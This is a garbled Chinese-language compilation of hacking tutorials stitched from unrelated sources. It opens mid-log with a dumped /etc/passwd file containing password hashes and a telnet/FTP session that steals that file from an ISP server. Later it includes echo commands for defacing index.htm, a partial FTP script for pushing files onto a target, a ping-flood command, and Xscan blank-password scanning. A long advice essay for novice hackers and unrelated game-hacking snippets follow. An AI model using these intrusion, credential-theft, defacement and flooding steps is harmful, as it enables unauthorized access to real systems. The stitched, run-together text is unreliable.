jordon:mPgNPVEkIEORM:547:100:jordon:/home/w3/jordon:/bin/bashtoonfish:wTscIuas4EeTE:548:100:toonfish:/home/w3/toonfish:/bin/bashyahoo:If.UlNFTal.bk:549:100:yahoo:/home/w3/yahoo:/bin/bashbasic:IgLUu9J03lbyU:550:100:basic:/home/w3/basic:/bin/bashwunan:QUHEiPefAaKsU:551:100:xxxxxxxx:/home/w3/wunan:/bin/bashkaoune:eVwM44uTLOpnY:552:100:kaoune:/home/w3/wunan/kaoune:/bin/bash shuchuan:KgPlk7TT6pmBk:553:100:shuchuan:/home/w3/wunan/shuchuan:/bin/bas hfan:Jk6E9PqP7xemg:554:100:fan:/home/w3/toonfish/fan:/bin/bash(CoolFire 注: 因为使用PaSs2DiC 很容易找出ID 与Password 相同的. 故除了Coffee 外, 其它我找到密码的EnCode Password 部份皆改过..... 除非你一个一个试啦~~~ 我没说喔!)www:/etc$ exitlogoutConnection closed by foreign host.(可以走了!! 改用FTP 将/etc/passwd 给抓回来吧!).tw> ftp Connected to .220-220- 欢迎光临....... 以下略! 因涉及该ISP 的名誉, 大家自己去看吧!220-220-220- There are 0 users in FTP Server now.220- 目前已有0 使用者在此Server 上.220- If you have any suggestion, please mail to:220- service@xx.xxxxxxx.xxx.xx.220-220-220-220 www FTP server (Version wu-2.4(1) Tue Aug 8 15:50:43 CDT 1995) ready.(还是使用刚刚的帐号进入)Name (:YourName): coffee331 Password required for coffee.Password:230 User coffee logged in.Remote system type is UNIX.Using binary mode to transfer files.(直接到达档案放置地点)ftp> cd /etc250 CWD command successful.ftp> ls200 PORT command successful.150 Opening ASCII mode data connection for file list.ttysfdprmgroupissuemotdmtoolsprofilesecurettyshellstermcapskelcsh.cshrccsh.loginlilo。
学黑客需要学的知识点
学黑客需要学的知识点黑客一词源于英文hacker,最初被用于形容计算机领域具有卓越技能的人。
但随着时间的推移,黑客的定义变得更加复杂,涵盖了更广泛的领域。
学习黑客需要掌握一系列技能和知识点,下面将逐步介绍。
1.基础计算机知识黑客需要对计算机的基本原理和操作有深入的了解。
这包括计算机硬件、操作系统、网络协议等。
掌握这些知识将帮助你更好地理解计算机系统的工作原理,为后续的学习和实践奠定基础。
2.编程语言学习编程语言是成为一名优秀黑客的关键。
掌握一门或多门编程语言,如Python、C++、Java等,将使你能够编写自己的软件程序,并更好地理解其他人编写的代码。
编程能力是黑客攻击和防御中的重要一环。
3.网络安全知识网络安全是黑客学习的核心内容。
学习网络安全知识将使你能够理解不同类型的攻击和防御技术。
了解常见的网络漏洞、攻击技术和防御机制,如SQL注入、跨站脚本、DDoS攻击等,将有助于你成为一名有竞争力的黑客。
4.操作系统安全了解不同操作系统的安全机制和弱点是学习黑客的关键一步。
掌握Linux系统的命令行操作和常用工具,了解Windows系统的漏洞和防御措施,将使你能够更好地利用系统漏洞或加强系统安全。
5.数据库知识数据库是现代应用中常见的数据存储方式。
了解数据库的原理、结构和安全性将有助于你在黑客攻击和数据泄露方面有更多的了解和技巧。
学习SQL语言和一些主流数据库系统,如MySQL、Oracle等,将使你能够更好地操作和保护数据。
6.密码学密码学是黑客学习中的重要领域。
了解对称加密和非对称加密的原理、常见的加密算法和破解方法,将使你能够更好地理解密码学的基本概念和应用,为密码破解和保护提供基础。
7.社会工程学社会工程学是黑客攻击中的重要手段。
学习社会工程学将使你能够更好地了解人类心理和行为,并利用这些知识进行社交工程攻击。
这包括欺骗、钓鱼等手段,通过社交工程获取目标的敏感信息。
8.漏洞研究和利用学习漏洞研究和利用将使你能够发现和利用软件和系统中的漏洞。
简单黑客攻击步骤详解
简单黑客攻击步骤详解网络攻防技术初步1、简单密码破解:一台在网络上的计算机从理论上讲可以相应任何人的操作请求,为了确保计算机所有者的权益,设计者们为计算机启用了密码保护,只有那些通过密码验证的用户才能够拥有操作计算机的权限,黑客们为了非法获取计算机的操作权限,其第一步往往就是获取用户密码。
很多人使用电脑时习惯不设置密码或设置一些简单密码比如“111111”、“123456”等等,利用一些工具比如流光可以轻松的破解这些密码,由于时间的关系我们在这里利用Xscan这个网管人员的好帮手来达到这一目的,通过这样一个实例让学员明白不设置密码或设置简单密码的坏处。
下面让我们来通过实例观察一下如何做到这一点。
通过鼠标左键双击图一所示的小图标,我们就启动了Xscan,启动界面如图二所示,我们利用鼠标左键单击如图二右上角被黑色方框围住的图形按钮,设置扫描参数。
图一启动Xscan图标“指定IP范围:”下的文字栏中输入“192.168.0.34”,并在左上角点击“全局设置”前方的小“+”号,在新弹出的菜单中点击“扫描模块”,设置扫描参数如图四所示。
图二启动Xscan后的样子图三指定IP地址范围设置完毕后点击“确定”按钮,然后回到图二所示的界面,点击左上角的“”按钮,即可启动扫描。
扫描完毕后,Xscan会自动的把扫描结果生成一张网页格式的报表,翻到网页的最后部分,仔细观察图五中被黑色粗线条标示出的部分,我们发现这台计算机的超级管理员帐户(administrator)居然没有设置任何密码。
黑客攻击过程中最重要的一步已经轻松越过。
图四Xscan设置参数图五超级帐户的密码没有设置小知识:Xscan实际上是一个网络管理工具,能够帮助网管人员扫描网络,分析漏洞所在。
192.168.0.34如果设置一些简单密码如“111111”、“123456”,Xscan一样可以找出来,至于复杂一点的密码,只能通过流光软件暴力破解了,如果想让流光破解不了,你要确保你的密码足够复杂,至少八位以上。
黑客基础教程之黑客入侵常用的命令1
注意:取得文件后,请删除cnhack.txt。(如果不删除,很容易会给别人看到你的密码。) 记得要 del c:cnhack.txt。
黑客入侵常用命Leabharlann 5、Attrib echo 南京大屠杀铁证如山,任何***人不得抵赖!>>index.htm
第一个的意思是覆盖index.htm原有的内容,把“南京大屠杀铁证如山,任何***人不得抵赖!”写进index.htm;第二个的意思是把“南京大屠杀铁证如山,任何***人不得抵赖!”加到index.htm里面。
“>>”产生的内容将追加进文件中,“>”则将原文件内容覆盖。大家可以本地试下。
可能你会问,这样简单黑下有什么好玩的,其实他可以用来下载主页到对方的目录里。
(1)首先,我们需要申请一个免费的主页空间。
(2)用echo在可写目录下建立如下内容的txt文件:(以chinren服务器为例。)
open (你的FTP服务器,申请时你的空间提供商会给你的)
PENTIUMII <00> UNIQUE
PENTIUMII <20> UNIQUE
ORAHOTOWN <00> GROUP
ORAHOTOWN <1C> GROUP
ORAHOTOWN <1B> UNIQUE
PENTIUMII <03> UNIQUE
INet~Services <1C> GROUP
黑客入侵常用命令2、Shutdown
黑客基础入门之初级安全命令介绍(一)
黑客最早源自英文hacker,早期在美国的电脑界是带有褒义的,但在媒体媒体报道中,黑客一词往往指那些软件骇客(software cracker)。
但是随着互联网的不断发展,以及网络安全的不断加固,一些人开始视黑客为一项业余的嗜好,而这些人不做恶意破坏,只追求共享黑客最早源自英文hacker,早期在美国的电脑界是带有褒义的,但在媒体媒体报道中,黑客一词往往指那些“软件骇客”(software cracker)。
但是随着互联网的不断发展,以及网络安全的不断加固,一些人开始视“黑客”为一项业余的嗜好,而这些人不做恶意破坏,只追求共享、免费,他们的出现推动了计算机和网络的发展与完善。
那么对于一些初级爱好者来说,黑客基础入门知识便显得尤为重要,今日小编就为大家带来了黑客基础入门之初级安全命令介绍,以便初学者能够更好的追求自己的业余嗜好。
在M$的操作系统中,与网络安全较有关系的几个命令/程序是:ping\winipcfg\tracert\net\at\netstat。
因此,小编将一一为大家介绍:1. ping:这是TCP/IP协议中最有用的命令之一它给另一个系统发送一系列的数据包,该系统本身又发回一个响应,这条实用程序对查找远程主机很有用,它返回的结果表示是否能到达主机,宿主机发送一个返回数据包需要多长时间。
Usage: ping [-t] [-a] [-n count] [-l size] [-f] [-i TTL] [-v TOS][-r count] [-s count] [[-j host-list] [-k host-list]][-w timeout] destination-listOptions:-t Ping the specifed host until interrupted.(除非人为中止,否则一直ping下去)-a Resolve addresses to hostnames.(把IP转为主机名)-n count Number of echo requests to send.(响应请求的数量)-l size Send buffer size.(封包的大小)-f Set Don't Fragment flag in packet.(信息包中无碎片)-i TTL Time To Live.(时间)-v TOS Type Of Service.(服务类型)-r count Record route for count hops.-s count Timestamp for count hops.-j host-list Loose source route along host-list.-k host-list Strict source route along host-list.(较严格的……唉,怎么译好……算了,放着吧)-w timeout Timeout in milliseconds to wait for each reply.(timeout的时间)比如大家可能都知道的一个命令# ping -f -s 65000 ***.***.***.***或者前阶段大家所谓ping死霉国佬时所用的命令(当然这样只会造成我方自己的网络阻塞)。
菜鸟FC HACK初级入门教程
菜鸟FC HACK初级入门教程很多新手看到FC HACK,都会有兴趣吧,我也一样,看到了有HACK ROM,也会想要是自己会做HACK多好。
摸索了一阵,偶也学会了一点点简单HACK。
当然HACK这东西,是需要很大耐心的,更要自己多尝试!与其在一边大喊:“HACK好难啊,HACK好复杂啊,教程看了头晕啊”还不如自己多动动手。
今天我就来写一个最最最简单的基础HACK教程,相信你如果有耐心看完,一定能学会的。
编程方面的东西我懂的不是太多,我只用最通俗易懂的方式,让大家能学会。
如果有专业术语等的语言错误,也请大家纠正。
首先我们需要一些工具[带有DEBUG调试功能的FC模拟器] fcdebug或者FCEU-0.98.13-pre-Debug(貌似这两个一样的,只是版本问题)[6502(FC汇编语言)] 6502汇编大奥秘(用于查看指令,便于修改,本次教程几乎用不到,有兴趣研究指令和代码的可以多看看。
但是这还是必备工具哦))最后用于修改ROM内部的工具UltraEdit32这是必须品哦3----------------------------------------------------------------------首先,我们打开FCE,FCE也是FC模拟器的一种。
当然我们用的是带DEBUG(调试)功能的FCE使用VNES的DEBUG调试时,机器配置不好的就狂卡,偶的机子也卡。
所以在某人要求之下。
我换一种调试器给大家讲解。
我用魂斗罗1来做一个命不减的HACK教程教大家我们先去EC里找该游戏作弊码,EC里的作弊码是这样的[P1 生命数]ON=0032,200这样我们就知道魂1的生命的地址是32,就可以使用它来当“断点”。
FCE的调试器和VNES 不一样,不需要用“[0032]”这样的标准格式,直接把“32”输入当断点就可以了,具体怎么弄?别急,慢慢往下看~首先我们打开FCE,使用“OPEN”打开游戏ROM,就象你玩游戏那样~~字串9游戏运行后,先开始游戏,这时候先暂停游戏。
黑客基础知识
编辑版pppt
15
编辑版pppt
16
编辑版pppt
17
编辑版pppt
18
Windows组策略编辑器
• 在Windows中都集成了组策略的功能,通过组策略可以设置各种 软件、计算机和用户策略在某种方面增强系统的安全性。
编辑版pppt
3
骇客(cracker)
• 是“Cracker”的音译,就是“破解者”的意思。从事恶意破解商 业软件、恶意入侵别人的网站等事务。与黑客近义,其实黑客与 骇客本质上都是相同的,闯入计算机系统/软件者。黑客和“骇客” (Cracker)并没有一个十分明显的界限,但随着两者含义越来越 模糊,公众对待两者含义已经显得不那么重要了。
• 浏览器的安全性需要得到特别关注,浏览器和浏览器插件的漏洞 是黑客们的最爱,flash player漏洞就是插件漏洞,这种漏洞是跨 浏览器平台的,任何使用flash player的场合都可能存在这种风险。
编辑版pppt
43
感谢亲观看此幻灯片,此课件部分内容来源于网络, 如有侵权请及时联系我们删除,谢谢配合!
• 3、不要轻易的将你要hack的站台告诉你不信任的朋友。 • 4、不要在bbs上谈论你hack的任何事情。 • 5、在post文章的时候不要使用真名。 • 6、正在入侵的时候,不要随意离开你的电脑。
编辑版pppt
7
• 7、不要在电话中谈论你作为黑客的任何事情。
• 8、将你的笔记放在安全的地方。
• 9、想要成为黑客就要学好编程和数学,以及一些TCPIP协议、系 统原理、编译原理等计算机知识!
成为黑客必备基础知识
尽情乱调吧,电脑系统的好多问题都出在COMS设置错误!!例如:电源设置错误,硬盘数据调错等。这样的隐形错误好多都是不容易发现。最现眼莫过于临走前,加个开机密码,你只用几秒钟,网管人员就要用几分钟拆机去掉COMS密码。
2、CIH类破坏 CIH类的病毒够厉害吧
除了CIH病毒,其他攻击硬件的病毒也有不少哦!把病毒发作字进行搜索相关内容。这种方法还是不错的,在你搞懂了你的疑难问题的同时也搞懂了N个其它相关问题。
三、实战训练
这一阶段也是最重要的,刚开始你可以按照动画步骤来操作,很多疑难问题在实际操作才能真正体会到,同时在操作中也会得到解决。当然你在操作过程中遇到困难还可以回过头再看动画,并一直反复这个过程。慢慢的就会变成自己的技术。
收集整理的目的是方便以后的学习。
三、在看别人动画或文章时应该思考的问题。
1.领会动画整体思路。
2.记下不明的或疑惑的细节。
3.评价别人的动画,有何缺点,有何优点,学会分析和思考。同时要敢于提出自己的想法,如何才能进一步完美他的入侵方法。
四、勤做动画
这里做动画的好处,我不多说了,只要你做多了,自然而然就会体会到其中的好处!
1.黑客术语基础:主要把一些常用黑客术语搞清楚,比如什么叫webshell什么叫注入,什么叫旁注,还有一些常用工具的功能,比如nc,sc等等.还有就是当你遇到一个不明白的黑客学习,不可以朦胧的去接触不懂的知识。要先搞清楚。(学习一个星期)
只要具备以下条件的,都可以做成动画,我想,也是你掌握技术的最好方法,所以这也是行之有效的提高黑客技术的好方法。
1.看到好的文章就应做成动画:
2.好的工具,经典工具的使用也做成动画:
3.入侵总结:
之前我看到很多人做过木马传播的方法,也看过相关木马传播的文章,不过都比较零散,后来我又参考了相关杂志后就制作了木马传播的综合教程----木马传播终级大套餐。
hack方法,
hack方法,Hacking,即黑客攻击,是指通过技术手段入侵计算机系统的行为。
在网络世界中,Hacking已经成为了一种常见的攻击方式,给计算机系统的安全带来了很大的威胁。
为了保护自己的计算机系统,我们需要了解一些常见的Hack方法,以有效地防止黑客攻击。
一、密码破解密码破解是最常见的Hack方法之一。
黑客通过电子邮件、社交网络等途径获取用户的密码,从而访问其私人数据、在线银行账户等重要信息。
为了避免密码被黑客攻击,我们需要设置复杂的密码,定期更改密码,同时不要将密码存储在计算机或其他设备上。
二、钓鱼钓鱼是指通过伪装成网站或服务提供者,在用户输入用户名和密码时将其窃取的行为。
黑客通过发送欺骗性的电子邮件或消息,诱使用户点击链接或下载文件,从而暴露其个人信息。
为了避免钓鱼攻击,我们需要保持警惕,不要相信未经验证的链接或下载文件,同时保护个人信息的安全。
三、网络欺诈网络欺诈是指通过虚假的广告、电子邮件或社交网络账户等手段,欺骗用户提供个人信息或进行资金转账的行为。
黑客通过虚假的信息,诱使用户提供银行账户、信用卡号码等敏感信息,从而进行欺诈活动。
为了避免网络欺诈,我们需要保持警惕,不要轻易相信未经验证的信息,同时定期检查账户信息,及时发现异常情况。
四、漏洞利用漏洞利用是指利用计算机系统中的漏洞入侵系统的行为。
黑客通过发现系统漏洞,并进行攻击,从而获取系统的敏感信息。
为了避免漏洞利用,我们需要定期更新计算机系统和应用程序,及时修补漏洞,同时加强网络安全防护措施。
总之,Hacking是一种常见的网络攻击方式,给计算机系统的安全带来了很大的威胁。
为了保护自己的计算机系统,我们需要了解一些常见的Hack方法,并采取相应的防范措施,如设置复杂的密码、保持警惕、定期更新系统和应用程序等,以确保计算机系统的安全。
DeusEX:HumanRevolution破解电脑(Hack)基础教程
DeusEX:Human Revolution 破解电脑(Hack)基础教
程
⼩技巧,仅供参考
1.最好随着路线发展慢慢将⿊客能⼒升级,我在底特律城完成**局任
务后是3级(可以⿊3级S e c u r i t y的电脑)。
2.在⿊之前看清⽬标所在,寻找最佳路线(有些技巧是⽩痴化的,乃们⽆视了吧)
3.在发现⾃⼰不可能成功⿊掉电脑的时候,直接点H A C K窗⼜下⽅的
D I S C O N N
E C T,断开连接,这对于那些⼀旦破解失败就会发出⼤⾯积警报的电脑⾮常有⽤(⽐如**局电脑⼏乎都是如此,在破解失败后,警局内部会警报)
4.摸索,找⼏率在0-50%之间的节点接上,⼀个⼀个慢慢接,直到警报响起,点击D I S C O N N E C T重来,这是保险的办法。
(重新破解的次数是⽆限制的,即使预订次数达到了,⼏⼗秒后依然可以继续破解)
逗游⽹——中国2亿游戏⽤户⼀致选择的”⼀站式“游戏服务平台。
[实用参考]从零开始学习黑客技术入门教程(基础)
最简单的黑客入门教程目录1黑客简介 (2)2保护自己电脑绝对不做黑客肉鸡 (2)3抓肉鸡的几种方法 (5)4防止黑客通过EGplorer侵入系统 (9)5SQL注入详解 (10)5.1注入工具 (11)5.2php+MPsql注入的误区 (11)5.3简单的例子 (12)5.4语句构造 (14)5.5高级应用 (22)5.6实例 (26)5.7注入的防范 (29)5.8我看暴库漏洞原理及规律1 (29)5.9我看暴库漏洞原理及规律2 (32)6跨站脚本攻击 (34)6.1跨站脚本工具 (34)6.2什么是GSS攻击 (35)6.3如何寻找GSS漏洞 (35)6.4寻找跨站漏洞 (36)6.5如何利用 (36)6.6GSS与其它技术的结合 (38)7GPath注入 (38)7.1GPath注入介绍 (38)7.2GPath注入工具 (41)声明:文章来源大多是网上收集而来,版权归其原作者所有。
1黑客简介"黑客"(hacker)这个词通常被用来指那些恶意的安全破坏者。
关于"黑客"一词的经典定义,最初来源于麻省理工学院关于信息技术的一份文档,之后便被新闻工作者们长期使用。
但是这个在麻省理工被当做中性词汇的术语,却逐渐被新闻工作者们用在了贬义的环境,而很多人也受其影响,最终导致了"黑客"一词总是用于贬义环境。
有些人认为,我们应该接受"黑客"一词已经被用滥并且有了新的意义。
他们认为,如果不认可这种被滥用的词汇,那么将无法与那些不懂技术的人进行有效的交流。
而我仍然认为,将黑客和恶意的骇客(cracker)分开表述,对交流会更有效,比如使用"恶意的安全骇客"会更容易让对方理解我所指的对象,从而能够达到更好的沟通交流效果,也避免了对"黑客"一词的滥用。
之所以要区分黑客和恶意骇客,是因为在某些情况下,我们讨论的对象是那些毫无恶意并且不会对安全防御或者用户隐私造成损害的对象,这些人只有用"黑客"这个词来描述才最贴切。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
4)热点的帖子:一般体现在回复率上,这类帖子并不一定是关于技术的,但他一定是人们现在最关心的(否则哪里会有那么多回复),多看看这类帖子,你将获得更丰富的知识。
5)高效的提问:对于同样的一个问题,不同的提问方式,将会受到不同的效果,能得到你最想要得答案,就是高效的提问。那么如何高效的提问呢?
(1)帖子标题写清楚:像‘快来救我呀’‘谁知道为什么’‘高手请进’这类的帖子,我是很少光顾的,一个好的标题要能概括帖子的主要内容;
(2)内容尽量详细:原因很简单,连问题都说不清楚,谁会帮你,谁能帮你(神仙??);要说明问题出现的环境,不同的环境会有不同的结果;
3结合法:就是将以上两种方法结合,这是很好的一种方法,建议大家使用。
四 总结
以上基本上是我个人的一面之谈,难免主观一些,请海涵。如果你还有什么好的学习方法,请一定要告诉我,我会收入到这片帖子当中,希望她能对菜鸟们有所帮助。
*如果你是一只想飞的菜鸟,那么就学着去搜索吧。
2 阅读书籍
hack学习中,书籍是必不可少的,这个我不用多少,只是希望大家能有选择的购买书籍,找到最适合自己的那一种。
1)基础知识类:一般来说菜鸟的基础是比较差的,甚至一些基本常识都不知道,因此有几本基础知识的书作为参考是必不可少的,比如关于 TCP/IP,网络,操作系统,局域网等,甚至是关于DOS,windows基础的书都是很有必要的。在读书的过程中,你一定会遇到许多不懂的名字或术语,该怎么办呢?白学了??去搜索吧!!
2)如果你与这位高手素昧平生,那还是谨慎一点,不要一股脑提许多问题,因为大家得时间都是宝贵的,他不可能花许多时间来专为你一个人服务,因此建议你慢慢来,每次提1-2个问题就好,因为还有下次嘛!
3)不要轻易打扰别人,以下方式请慎用:oicq,mail,homephone,
4)要尊重对方,不要过于奢求,在这个功利的社会,要学会被拒绝,再说人家也没有义务必需要给你解答问题。
注意:由于任何人都可以发布教程(当然,好的安全站点是有验证机制的),所以一些个别教程并不能保证其正确性,或者不能保证在任何情况下都具有正确性,因此在阅读时要有所取舍。还有,一些老的教程其内容或所涉及软件可能不再适用,请大家注意这点。
另外,现在比较流行动画教程,这种教程的优点在于直观,对菜鸟中的菜鸟帮助很大(许多菜鸟只看的懂动画教程),但我个人更倾向于文字教程,原因:连文字教程都看不懂,还做什么hacker,看动画教程只会让你越来越懒,而不愿再去思考(个人观点)。当然,有些文字教程写得的确很烂,读了以后让人更晕。
*菜鸟准备1-2本即可
3)hack杂志类
比如《黑客防线》,《黑客X档案》等,此类杂志专业性强,内容由浅入深,讨论详细,并附送光盘,对比较富裕的朋友来说是个不错的选择,当然,你也可以到网上找一些电子版,下载观看。
注意:这是一种比较好的入门方法,许多朋友都是在无意中买了此类杂志后,才开始对hack技术感兴趣的。
1)公共搜索引擎
比如大名鼎鼎的你想要的东西,比如:文章,教程,软件,安全站点,安全论坛,一切的一切。
所以以后不要再问诸如3389是什么端口(去搜一下3389+空格+端口+空格+漏洞);流光在哪里下载(去搜流光+空格+工具+空格+下载);ipc$怎样利用(去搜ipc$Content$空格+入侵+空格+教程)等完全可以向搜索引擎请教的问题,如果你非要问一下,没关系,你会得到简单明了的答案:‘去搜!!’请不要埋怨这位高手不耐心,面对千百个这样的菜鸟问题,他这么做已经很人道了。
*这是菜鸟必须掌握而且要会灵活运用的学习方法
4 在论坛上学习/交流
论坛是菜鸟成长必不可少的基石,如果你能找到一个管理严格,技术含量高,充满活力的论坛,那么我真的要祝贺你,因为你将在这个论坛中学到许多许多东西。那么如何使用一个论坛呢?如下:
1)留意精华版:这是一个论坛的精华所在,所有一级棒的帖子几乎都在这里了,慢慢的读吧,你会收获很多。
一 序言
学东西如果找到好的方法,会事半功倍。反之则事倍功半了。黑客的入门学习也是如此。
因此我总结了一下我个人的一些学习方法与心得(当然有一些方法也是网上的朋友教我的),希望能给刚入门的朋友一些参考,使其少走弯路。如果您是一只老鸟,觉得这个教程对您毫无帮助,那么请您跳过此教程,毕竟不是所有人都像您一样掌握了良好的学习方法,那些迷惑中的菜鸟,正需要这样一个教程!
2)大众杂志类
此来书籍的精华在于它的合订本,比如电脑报合订本,电脑应用文萃合订本等等,就相当于一个大百科,分类详细,内容丰富,每年买上一两本就足够了,你会从中受益匪浅。
注意:此类书籍的优势在于内容全面,各个方面都能涉及到,查找方便,但因其定位在大众杂志,内容相对比较基础,适合菜鸟做全方位了解。
1基础书籍法:既然基础差,那么就从基础开始,去买一至两本hack方面的既基础又全面的书籍来看,比如《黑客就这么几招》等等,此类书籍比较基础,但又很全面,黑客初期的基本攻击方法都有介绍,以此类书为基础慢慢的学习 ,过一段时间你会发现你已经入门了;
2教程解惑法:就是说一旦遇到不明白的地方就通过搜索引擎,资料,教程来解答,在求解的过程中,你一定还会关联的遇到其他不懂的新问题,那么好,继续找资料看教程,就这样一直连续不断,遇到不懂的就去看,不管他是哪方面的,慢慢的,你所懂的会越来越多,你会发现你已经入门了。此类方法有很大的随意性,不是很系统,但灵活自由,高效;
(3)提问前作最大的努力:请确认你在提问前已经尽了最大努力,但还是没有效果。如果你打算提一些懒人的问题,比如‘我找不到流光的下载,请高手发到我的邮箱好吗’‘谁会net命令呀,教我’,那么所有人将会鄙视你,很难想象懒汉当了hacker会是什么样子;
(4)感谢帮助你的人:这是最起码的作人礼仪。
2)提问前先搜索:这是许多菜鸟忽略的问题,如果你不注意,将浪费你很多时间,原因是这样的:菜鸟一般所提的问题就那么几十个,在一个稍微老一些的论坛上基本上应该都有人提过了,而且是不止一次的提过了,因此你事先搜索一下,应该会搜到不止一篇的帖子,在这些帖子的回复中,应该有你想要的答案,但如果你不去搜索而直接提问,那么你将花费一定的时间去等待回复,这就是浪费,况且大部分高手都反感提问简单而重复的问题,那么你得到的回复也许将更加粗略而潦草,这更是浪费。所以,在提问前恳请你,现搜索一下问题吧!!
以下序号不分先后,希望大家也能拿出你们自己的心得体会来补充。
二 具体hack学习方法
1 利用搜索引擎
这是一种高效的学习方法,相信每个高手都从这里受益匪浅,这也是菜鸟最好的老师,她随叫随到,言听即从,力量强大。强烈建议大家在遇到问题前,先请教一下/
6)融入论坛:在你的能力范围内,给予他人最大的帮助。
*论坛对菜鸟就像空气一样重要,去找一个适合你的论坛吧。
5 与高手直接交流
这也许是最最高效的学习方法了,能与高手直接交流是一件多么美妙的事情阿,但如果使用不当,也会给自己和对方带来许多不快。
1)如果你与这位高手认识甚至是好朋友,那问题很好办,进轻的提问吧,只要不是很过分就行;
*菜鸟不定期购买即可,如果你经济确实不富裕,可以放弃,发布于网上,你可以到各大安全站点的文章系统中去找,或者去相关论坛或Google搜索。这是一种令人兴奋的学习方法,一篇好的教程能让你进步飞快,如果你能找到一些专业而又详细的教程,你的hack学习将会事半功倍,因为教程比书籍读起来更亲切,而且语言通俗易懂,寻找方便(如果是书籍,那要买多少本啊),而且他最大的特点在于百家争鸣,对于同一个问题可能有很多的教程,你可以一一观看,从中总结出最精华的部分。
因此可以看出,掌握良好的学习技巧对菜鸟来说是多莫重要,不少菜鸟就是因为像这样到处碰壁后,最终放弃了hack学习。
*不会利用搜索引擎对菜鸟来说是致命的,你将举步为艰,反之,你将进步神速。
2)站点内部/论坛的搜索引擎
使用方法上大同小异,比如你现在需要一篇教程或是一个hack软件,而你又觉得google上搜出来的东西太杂或觉得没有专业性,那么这时候你就可以到各大安全站点或论坛上去搜索,比如/;安全焦点;红客联盟;小榕的论坛;http: ///等,在这些站点的内部引擎里搜到的教程或软件,一般都是比较有保证的。
注意:此类书籍关键在于它的通俗易懂性,不要追求多莫深入,对菜鸟来说,急于求成是最要不得的。因为我还是学生,因此学校的图书馆是很好的书源 (主要是免费),我几乎借遍了所有hack方面书籍,如果你已经不是学生,建议你到各大图书馆去借,因为这样要比买书不知省多少钱。
*菜鸟准备2-4本即可
*能得到高手的帮助当然最好,如果没有路子,也不要强求,相信你自己也能行。
三 具体切入点
写到这里了,一些菜鸟说仍然找不到切入点,不知道该从何入手,说哪里都不明白,看什么都看不懂,无法入门。也难怪,菜鸟嘛,的确很难入手,有些朋友就是因为前期的学习很吃力才放弃了的,那么好,我就继续介绍我本人的两个方法吧。